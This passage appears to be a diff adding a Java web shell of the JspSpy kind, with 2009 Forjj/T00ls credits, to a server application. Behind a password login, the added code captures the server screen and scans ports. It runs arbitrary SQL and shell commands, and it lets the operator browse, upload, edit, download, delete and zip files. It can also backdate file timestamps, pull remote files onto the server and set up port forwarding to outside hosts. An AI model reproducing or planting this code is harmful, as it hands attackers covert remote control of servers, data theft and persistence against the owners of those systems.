    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
    "+ +"

    PortScan >>

    "+ +"
    "+ +"

    "+ +"IP : Port : Timeout 锛堢锛? : "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
    "); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
    "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +out.println("
    "+ +"

    Run SQL query/queries on database :

    "); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

    Query#0 : "+Util.htmlEncode(sql)+"

    "); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
    "+meta.getColumnName(i)+"
    "+meta.getColumnTypeName(i)+"
    "); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

    affected rows : "+obj+"

    "); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +"

    Password: "+ +" "+ +" "+ +" "+ +"

    "+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
    "); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

    File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

    "); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Current Directory
    "+ +"
    "); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
    "+ +"
    "+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
     NameLast ModifiedSizeRead/Write/Execute 
    =Goto Parent
    0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow Del | Move | Pack
    "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / unknow "+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
     Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
    "); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println("
    Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); +out.println("
    "+ +"
    "+ +"

    Set File Property »

    "+ +"

    Current file (fullpath)

    "+ +" "+ +"

    Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

    "+ +"

    Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; + +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); + +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
    "+ +"
    "+ +"

    Execute Program »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "+ +"

    Execute Shell »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

    "); +out.println("
    ");
    +String command = request.getParameter("command");
    +if (!Util.isEmpty(command)) {
    +Process pro = Runtime.getRuntime().exec(command);
    +BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    +String s = reader.readLine();
    +while (s != null) {
    +out.println(Util.htmlEncode(Util.getStr(s)));
    +s = reader.readLine();
    +}
    +reader.close();
    +out.println("
    "); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
    "+ +"
    "+ +"

    Remote File DownLoad »

    "+ +"

    "+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    PortMap >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

    "+ +" "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; 